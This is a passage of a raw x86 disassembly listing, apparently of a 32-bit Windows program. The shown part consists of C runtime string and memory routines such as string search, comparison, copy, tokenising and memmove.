short loc_41BD99 and ecx, 2 jz short loc_41BD69 cmp [ebp+var_8], 80000000h ja short loc_41BD72 loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j test ecx, ecx jnz short loc_41BD99 cmp [ebp+var_8], eax jbe short loc_41BD99 loc_41BD72: ; CODE XREF: sub_41BBBD+197j ; sub_41BBBD+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DB2A8, 22h jz short loc_41BD88 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj ; sub_41BBBD+19Cj ... test edx, edx jz short loc_41BDA2 mov eax, [ebp+var_4] mov [edx], eax loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41BDB0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j mov eax, [ebp+var_8] jmp short loc_41BDC0 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BBBD+66j ; sub_41BBBD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BDBE mov [eax], edi loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj xor eax, eax loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j pop edi pop esi pop ebx leave retn sub_41BBBD endp ; =============== S U B R O U T I N E ======================================= sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp ; sub_401ACD+6A0Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 2670000h test eax, eax jnz short loc_41BDF2 nop call near ptr 267064Ch jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call sub_4203DF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p ; ___:00411CA1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420446 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F69F push [ebp+arg_0] mov edi, eax push esi call sub_4204D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BE06 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p ; sub_401ACD+1EA0p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41BE61 xor eax, eax jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BE40+1Bj mov eax, edi loc_41BE63: ; CODE XREF: sub_41BE40+1Fj cld pop edi leave retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p ; ___:0041DD1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41BEA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41BE9F jz short loc_41BEA1 dec ecx dec ecx loc_41BE9F: ; CODE XREF: sub_41BE70+29j not ecx loc_41BEA1: ; CODE XREF: sub_41BE70+9j ; sub_41BE70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp ; sub_401ACD+2FFCp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41BF21 sub_41BEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p ; sub_401ACD+75FEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41BEDC loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41BF0F test ecx, 3 jnz short loc_41BECD loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj ; sub_41BEC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BEDC mov eax, [ecx-4] test al, al jz short loc_41BF1E test ah, ah jz short loc_41BF19 test eax, 0FF0000h jz short loc_41BF14 test eax, 0FF000000h jz short loc_41BF0F jmp short loc_41BEDC ; --------------------------------------------------------------------------- loc_41BF0F: ; CODE XREF: sub_41BEC0+12j ; sub_41BEC0+4Bj lea edi, [ecx-1] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41BEC0+44j lea edi, [ecx-2] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj lea edi, [ecx-3] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BEC0+39j lea edi, [ecx-4] loc_41BF21: ; CODE XREF: sub_41BEB0+5j ; sub_41BEC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41BF46 loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41BF98 mov [edi], dl inc edi test ecx, 3 jnz short loc_41BF2D jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej ; sub_41BEC0+B8j mov [edi], edx add edi, 4 loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj ; sub_41BEC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41BF41 test dl, dl jz short loc_41BF98 test dh, dh jz short loc_41BF8F test edx, 0FF0000h jz short loc_41BF82 test edx, 0FF000000h jz short loc_41BF7A jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF82: ; CODE XREF: sub_41BEC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF98: ; CODE XREF: sub_41BEC0+72j ; sub_41BEC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BFB0 loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41BFB0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p ; sub_401ACD+4C3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41BFB6: ; CODE XREF: sub_41B900+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41BFDB loc_41BFC8: ; CODE XREF: sub_41BFB0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41BFA0 test cl, cl jz short loc_41C024 test edx, 3 jnz short loc_41BFC8 loc_41BFDB: ; CODE XREF: sub_41BFB0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41BFE6: ; CODE XREF: sub_41BFB0+61j ; sub_41BFB0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C028 and eax, 81010100h jz short loc_41BFE6 and eax, 1010100h jnz short loc_41C022 and esi, 80000000h jnz short loc_41BFE6 loc_41C022: ; CODE XREF: sub_41BFB0+68j ; sub_41BFB0+81j ... pop esi pop edi loc_41C024: ; CODE XREF: sub_41BFB0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C028: ; CODE XREF: sub_41BFB0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C065 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C05E test ah, ah jz short loc_41C022 shr eax, 10h cmp al, bl jz short loc_41C057 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C050 test ah, ah jz short loc_41C022 jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41BFB0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41BFB0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BFB0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C065: ; CODE XREF: sub_41BFB0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41BFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C0BC loc_41C080: ; CODE XREF: sub_41C070+3Cj ; sub_41C070+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+3] jnz short loc_41C0B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C080 mov edi, edi loc_41C0B0: ; CODE XREF: sub_41C070+18j ; sub_41C070+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0B4: ; CODE XREF: sub_41C070+14j ; sub_41C070+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0BC: ; CODE XREF: sub_41C070+Ej test edx, 1 jz short loc_41C0D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C0B4 inc ecx or al, al jz short loc_41C0B0 test edx, 2 jz short loc_41C080 loc_41C0D8: ; CODE XREF: sub_41C070+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 add ecx, 2 jmp short loc_41C080 sub_41C070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C10D: ; CODE XREF: sub_41C0F4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C10D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C135 mov edx, dword_4DB2F4 loc_41C135: ; CODE XREF: sub_41C0F4+39j ; sub_41C0F4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C155 test al, al jz short loc_41C155 inc edx jmp short loc_41C135 ; --------------------------------------------------------------------------- loc_41C155: ; CODE XREF: sub_41C0F4+58j ; sub_41C0F4+5Cj mov ebx, edx loc_41C157: ; CODE XREF: sub_41C0F4+81j mov al, [edx] test al, al jz short loc_41C17B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C177 inc edx jmp short loc_41C157 ; --------------------------------------------------------------------------- loc_41C177: ; CODE XREF: sub_41C0F4+7Ej and byte ptr [edx], 0 inc edx loc_41C17B: ; CODE XREF: sub_41C0F4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DB2F4, edx and eax, ebx pop ebx leave retn sub_41C0F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp ; sub_415220+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C1CE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C190+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41C1DB: ; CODE XREF: sub_41C190+3Cj mov eax, esi pop esi leave retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p ; sub_40B64A+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C294 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C20A loc_41C1FB: ; CODE XREF: sub_41C1E0+28j mov al, [edi] inc edi test al, al jz short loc_41C23B test edi, 3 jnz short loc_41C1FB loc_41C20A: ; CODE XREF: sub_41C1E0+19j ; sub_41C1E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C20A mov eax, [edi-4] test al, al jz short loc_41C248 test ah, ah jz short loc_41C243 test eax, 0FF0000h jz short loc_41C23E test eax, 0FF000000h jnz short loc_41C20A loc_41C23B: ; CODE XREF: sub_41C1E0+20j dec edi jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C1E0+52j sub edi, 2 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C243: ; CODE XREF: sub_41C1E0+4Bj sub edi, 3 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C248: ; CODE XREF: sub_41C1E0+47j sub edi, 4 loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj ; sub_41C1E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC jmp short loc_41C27C ; --------------------------------------------------------------------------- loc_41C260: ; CODE XREF: sub_41C1E0+75j ; sub_41C1E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C29A mov [edi], dl inc edi dec ecx jz short loc_41C290 test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej ; sub_41C1E0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C290 loc_41C283: ; CODE XREF: sub_41C1E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C292 dec ecx jnz short loc_41C283 loc_41C290: ; CODE XREF: sub_41C1E0+8Bj ; sub_41C1E0+A1j mov [edi], cl loc_41C292: ; CODE XREF: sub_41C1E0+ABj pop ebx pop esi loc_41C294: ; CODE XREF: sub_41C1E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C29A: ; CODE XREF: sub_41C1E0+85j ; sub_41C1E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j ; sub_41C1E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C27C loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj ; sub_41C1E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C2A4 test dl, dl jz short loc_41C29A test dh, dh jz short loc_41C2F8 test edx, 0FF0000h jz short loc_41C2E8 test edx, 0FF000000h jnz short loc_41C2A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p ; sub_40BFA3+3Bp ... var_3A3BFFC0 = byte ptr -3A3BFFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C330 cmp edi, eax jb loc_41C4A8 loc_41C330: ; CODE XREF: sub_41C310+16j test edi, 3 jnz short loc_41C34C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- loc_41C34C: ; CODE XREF: sub_41C310+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C364 and eax, 3 add ecx, eax jmp dword ptr loc_41C36C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+46j jmp dword ptr loc_41C468[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C36C: ; CODE XREF: sub_41C310+31j ; sub_41C310+8Ej ... jmp off_41C3EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C380 ; --------------------------------------------------------------------------- lodsb retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- loc_41C380: ; DATA XREF: sub_41C310+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr dd offset loc_41C43C dd offset loc_41C434 dd offset loc_41C42C dd offset loc_41C424 dd offset loc_41C41C dd offset loc_41C414 dd offset loc_41C40C ; --------------------------------------------------------------------------- loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310:off_41C3ECo jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r ; sub_41C310+92r ... dd offset loc_41C470 dd offset loc_41C47C dd offset loc_41C490 ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C470: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C47C: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C490: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C4A8: ; CODE XREF: sub_41C310+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C4DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C4D0: ; CODE XREF: sub_41C310+1B1j ; sub_41C310+208j ... neg ecx jmp dword ptr loc_41C59F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C4DC: ; CODE XREF: sub_41C310+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C4F4 and eax, 3 sub ecx, eax jmp dword ptr loc_41C4F4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C4F4: ; CODE XREF: sub_41C310+1D6j ; DATA XREF: sub_41C310+1DDr jmp off_41C5F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or ch, al inc ecx add [eax], ch lds eax, [ecx+0] push eax lds eax, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 movsb lds eax, [ecx+0] lodsb lds eax, [ecx+0] mov ah, 0C5h inc ecx add [ebp+eax*8-3A3BFFBFh], bh inc ecx add ah, cl lds eax, [ecx+0] aam 0C5h inc ecx loc_41C59F: ; DATA XREF: sub_41C310+1C2r add bh, ah lds eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C5E7: ; CODE XREF: sub_41C310+1C2j jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r ; sub_41C310:loc_41C4F4r ... dd offset loc_41C608 dd offset loc_41C618 dd offset loc_41C62C ; --------------------------------------------------------------------------- loc_41C600: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C608: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C618: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C62C: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p ; ___:0040E29Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41AFE0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420510 add esp, 10h leave retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C679(double) sub_41C679 proc near ; CODE XREF: sub_40D030+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A2C0 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C6FF call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C6E2 cmp eax, 2 jle short loc_41C6D4 cmp eax, 3 jnz short loc_41C6E2 fld [ebp+arg_0] push ebx push ecx 